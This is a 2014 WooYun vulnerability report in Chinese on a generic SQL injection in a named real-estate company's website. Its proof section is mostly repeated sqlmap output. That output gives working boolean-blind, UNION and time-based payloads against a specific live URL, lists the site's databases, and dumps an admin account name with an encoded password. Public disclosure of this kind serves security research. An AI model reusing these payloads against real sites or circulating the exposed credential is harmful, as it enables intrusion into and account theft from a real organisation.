当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-071845

漏洞标题：某地产通用型sql注入

相关厂商：www.saregroup.cn

漏洞作者： 灰太_狼

提交时间：2014-08-11 15:10

修复时间：2014-11-09 15:12

公开时间：2014-11-09 15:12

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-08-11： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-11-09： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

网站存在注入

详细说明：

开发商：http://www.zerom.cn/
注入点：http://www.saregroup.cn/Project/detail/id/12'.html
存在sql注入

漏洞证明：

sqlmap identified the following injection points with a total of 61 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://www.saregroup.cn:80/Project/detail/id/12) AND 5574=5574 AND (5830=5830.html
Type: UNION query
Title: MySQL UNION query (NULL) - 22 columns
Payload: http://www.saregroup.cn:80/Project/detail/id/-3469) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a6f6871,0x766b4254666271466c55,0x71766d6c71)#.html
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://www.saregroup.cn:80/Project/detail/id/12) AND SLEEP(5) AND (2674=2674.html
---
web server operating system: Windows Vista
web application technology: ASP.NET, Microsoft IIS 7.0
back-end DBMS: MySQL 5.0.11
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://www.saregroup.cn:80/Project/detail/id/12) AND 5574=5574 AND (5830=5830.html
Type: UNION query
Title: MySQL UNION query (NULL) - 22 columns
Payload: http://www.saregroup.cn:80/Project/detail/id/-3469) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a6f6871,0x766b4254666271466c55,0x71766d6c71)#.html
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://www.saregroup.cn:80/Project/detail/id/12) AND SLEEP(5) AND (2674=2674.html
---
web server operating system: Windows Vista
web application technology: ASP.NET, Microsoft IIS 7.0
back-end DBMS: MySQL 5.0.11
available databases [6]:
[*] information_schema
[*] mercier
[*] mysql
[*] phpwind
[*] sare
[*] test
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://www.saregroup.cn:80/Project/detail/id/12) AND 5574=5574 AND (5830=5830.html
Type: UNION query
Title: MySQL UNION query (NULL) - 22 columns
Payload: http://www.saregroup.cn:80/Project/detail/id/-3469) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a6f6871,0x766b4254666271466c55,0x71766d6c71)#.html
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://www.saregroup.cn:80/Project/detail/id/12) AND SLEEP(5) AND (2674=2674.html
---
web server operating system: Windows Vista
web application technology: ASP.NET, Microsoft IIS 7.0
back-end DBMS: MySQL 5.0.11
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://www.saregroup.cn:80/Project/detail/id/12) AND 5574=5574 AND (5830=5830.html
Type: UNION query
Title: MySQL UNION query (NULL) - 22 columns
Payload: http://www.saregroup.cn:80/Project/detail/id/-3469) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a6f6871,0x766b4254666271466c55,0x71766d6c71)#.html
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://www.saregroup.cn:80/Project/detail/id/12) AND SLEEP(5) AND (2674=2674.html
---
web server operating system: Windows Vista
web application technology: ASP.NET, Microsoft IIS 7.0
back-end DBMS: MySQL 5.0.11
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://www.saregroup.cn:80/Project/detail/id/12) AND 5574=5574 AND (5830=5830.html
Type: UNION query
Title: MySQL UNION query (NULL) - 22 columns
Payload: http://www.saregroup.cn:80/Project/detail/id/-3469) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a6f6871,0x766b4254666271466c55,0x71766d6c71)#.html
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://www.saregroup.cn:80/Project/detail/id/12) AND SLEEP(5) AND (2674=2674.html
---
web server operating system: Windows Vista
web application technology: ASP.NET, Microsoft IIS 7.0
back-end DBMS: MySQL 5.0.11
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://www.saregroup.cn:80/Project/detail/id/12) AND 5574=5574 AND (5830=5830.html
Type: UNION query
Title: MySQL UNION query (NULL) - 22 columns
Payload: http://www.saregroup.cn:80/Project/detail/id/-3469) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a6f6871,0x766b4254666271466c55,0x71766d6c71)#.html
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://www.saregroup.cn:80/Project/detail/id/12) AND SLEEP(5) AND (2674=2674.html
---
web server operating system: Windows Vista
web application technology: ASP.NET, Microsoft IIS 7.0
back-end DBMS: MySQL 5.0.11
Database: sare
Table: admin
[3 columns]
+----------+---------+
| Column | Type |
+----------+---------+
| id | numeric |
| password | numeric |
| username | numeric |
+----------+---------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://www.saregroup.cn:80/Project/detail/id/12) AND 5574=5574 AND (5830=5830.html
Type: UNION query
Title: MySQL UNION query (NULL) - 22 columns
Payload: http://www.saregroup.cn:80/Project/detail/id/-3469) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a6f6871,0x766b4254666271466c55,0x71766d6c71)#.html
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://www.saregroup.cn:80/Project/detail/id/12) AND SLEEP(5) AND (2674=2674.html
---
web server operating system: Windows Vista
web application technology: ASP.NET, Microsoft IIS 7.0
back-end DBMS: MySQL 5.0.11
Database: sare
Table: admin
[1 entry]
+----+----------+--------------------------+
| id | username | password |
+----+----------+--------------------------+
| 1 | admin | UmFRZlc4Vjhabww9VmxUbA== |
+----+----------+--------------------------+

修复方案：

过滤

版权声明：转载请注明来源 灰太_狼@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝